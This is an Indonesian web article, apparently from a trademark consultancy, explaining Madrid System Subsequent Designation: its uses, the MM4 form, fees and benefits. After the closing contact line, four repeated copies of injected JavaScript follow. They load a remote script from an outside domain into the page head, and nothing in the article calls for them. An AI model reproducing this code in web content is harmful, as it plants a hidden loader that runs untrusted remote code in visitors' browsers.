Subsequent Designation adalah proses untuk memperluas perlindungan Merek internasional yang telah terdaftar melalui Sistem Madrid ke negara-negara anggota tambahan. Proses ini memungkinkan Anda sebagai pemilik Merek untuk menambahkan negara tujuan baru tanpa perlu mengajukan permohonan baru dari awal.​
Kapan Subsequent Designation Diperlukan?
Pemilik Merek dapat menggunakannya dalam situasi berikut:​
- Ekspansi Bisnis:
Ketika perusahaan memperluas operasinya ke negara baru dan ingin melindungi mereknya di wilayah tersebut.​ - Perubahan Strategi Pasar:
Jika ada perubahan dalam strategi pemasaran atau distribusi yang memerlukan perlindungan merek di negara tambahan.​ - Perlindungan Tambahan:
Untuk menambahkan perlindungan atas barang atau jasa tertentu yang sebelumnya tidak dicakup dalam pendaftaran awal.​
Prosedur Pengajuan Subsequent Designation
Berikut adalah langkah-langkah untuk mengajukan permohonannya:​
- Isi Formulir MM4:
Formulir ini digunakan untuk mengajukan Subsequent Designation dan dapat diunduh dari situs WIPO.​ - Pilih Negara Tujuan: Tentukan negara-negara anggota Sistem Madrid yang ingin ditambahkan untuk perlindungan merek.​
- Membayar Biaya yang Diperlukan, yang terdiri dari biaya dasar dan biaya tambahan atau biaya biaya individu yang ditentukan oleh masing-masing negara tujuan.​
Anda dapat mengajukan permohonannya langsung ke WIPO atau melalui Konsultan Merek terpercaya di Indonesia.
Hal Lain yang Perlu Diperhatikan:
- Perubahan Status Merek:
Pastikan bahwa merek internasional Anda masih aktif dan tidak mengalami pembatalan atau penolakan di negara asal.​ - Persyaratan Khusus Negara Tujuan:
Beberapa negara mungkin memiliki persyaratan tambahan, seperti penunjukan agen lokal atau dokumen pendukung lainnya.​ - Waktu Proses:
Proses pengajuan Subsequent Designation dapat memakan waktu beberapa bulan, tergantung pada negara tujuan dan kompleksitas permohonan.​
Manfaat Subsequent Designation
Jika disimpulkan secara umum, metode ini memberikan Anda 3 manfaat:
- Efisiensi Biaya dan Waktu:
Mengurangi kebutuhan untuk mengajukan permohonan terpisah di setiap negara.​ - Kemudahan Administratif:
Memungkinkan pengelolaan perlindungan merek di berbagai negara melalui satu sistem terpusat.​ - Fleksibilitas:
Memberikan fleksibilitas untuk menyesuaikan perlindungan merek sesuai dengan kebutuhan bisnis yang berkembang.​
Jika Anda membutuhkan informasi lebih lanjut terkait penambahan negara tujuan perlindungan Merek melalui Protokol Madrid, jangan ragu untuk menghubungi kami melalui email [email protected].var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);




